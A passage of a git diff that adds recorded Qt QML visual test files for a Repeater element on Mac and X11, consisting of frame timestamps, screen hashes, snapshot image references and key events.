128 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 144 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 160 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 176 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 192 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 208 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 224 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 240 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 256 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 272 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 288 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 304 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 320 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 336 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 352 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 368 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 384 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 400 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 416 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 432 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 448 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 464 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 480 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 496 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 512 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 528 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 544 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 560 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 576 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 592 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 608 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 624 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 640 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 656 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 672 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 688 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 704 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 720 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 736 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 752 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 768 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 784 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 800 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 816 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 832 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 848 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 864 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 880 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 896 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 912 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 928 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 944 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 960 + image: "basic2.0.png" + } + Frame { + msec: 976 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 992 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1008 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1024 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1040 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1056 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1072 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1088 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1104 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1120 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1136 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1152 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1168 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1184 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1200 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1216 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1232 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1248 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1264 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.0.png b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.0.png new file mode 100644 index 0000000..2658b6b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.qml new file mode 100644 index 0000000..41e174a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic3.qml @@ -0,0 +1,347 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 32 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 48 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 64 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 80 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 96 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 112 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 128 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 144 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 160 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 176 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 192 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 208 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 224 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 240 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 256 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 272 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 288 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 304 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 320 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 336 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 352 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 368 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 384 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 400 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 416 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 432 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 448 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 464 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 480 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 496 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 512 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 528 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 544 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 560 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 576 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 592 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 608 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 624 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 640 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 656 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 672 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 688 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 704 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 720 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 736 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 752 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 768 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 784 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 800 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 816 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 832 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 848 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 864 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 880 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 896 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 912 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 928 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 944 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 960 + image: "basic3.0.png" + } + Frame { + msec: 976 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 992 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1008 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1024 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1040 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1056 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1072 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1088 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1104 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1120 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1136 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1152 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1168 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1184 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1200 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1216 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1232 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1248 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1264 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1280 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1296 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1312 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1328 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.0.png b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.0.png new file mode 100644 index 0000000..2658b6b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.qml new file mode 100644 index 0000000..fcf2504 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-MAC/basic4.qml @@ -0,0 +1,419 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 32 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 48 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 64 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 80 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 96 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 112 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 128 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 144 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 160 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 176 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 192 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 208 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 224 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 240 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 256 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 272 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 288 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 304 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 320 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 336 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 352 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 368 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 384 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 400 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 416 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 432 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 448 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 464 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 480 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 496 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 512 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 528 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 544 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 560 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 576 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 592 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 608 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 624 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 640 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 656 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 672 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 688 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 704 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 720 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 736 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 752 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 768 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 784 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 800 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 816 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 832 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 848 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 864 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 880 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 896 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 912 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 928 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 944 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 960 + image: "basic4.0.png" + } + Frame { + msec: 976 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 992 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1008 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1024 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1040 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1056 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1072 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1088 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1104 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1120 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1136 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1152 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1168 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1184 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1200 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1216 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1232 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1248 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1264 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1280 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1296 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1312 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1328 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1344 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1360 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1376 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1392 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1408 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1424 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1440 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1456 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1472 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1488 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1504 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1520 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1536 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1552 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1568 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1584 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1600 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } + Frame { + msec: 1616 + hash: "2ab8ff9a9fb09111ac07d3966aac9d94" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.0.png b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.0.png new file mode 100644 index 0000000..18ab543 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.qml new file mode 100644 index 0000000..bf215ca --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic1.qml @@ -0,0 +1,323 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 32 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 48 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 64 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 80 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 96 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 112 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 128 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 144 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 160 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 176 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 192 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 208 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 224 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 240 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 256 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 272 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 288 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 304 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 320 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 336 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 352 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 368 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 384 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 400 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 416 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 432 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 448 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 464 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 480 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 496 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 512 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 528 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 544 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 560 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 576 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 592 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 608 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 624 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 640 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 656 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 672 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 688 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 704 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 720 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 736 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 752 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 768 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 784 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 800 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 816 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 832 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 848 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 864 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 880 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 896 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 912 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 928 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 944 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 960 + image: "basic1.0.png" + } + Frame { + msec: 976 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 992 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1008 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 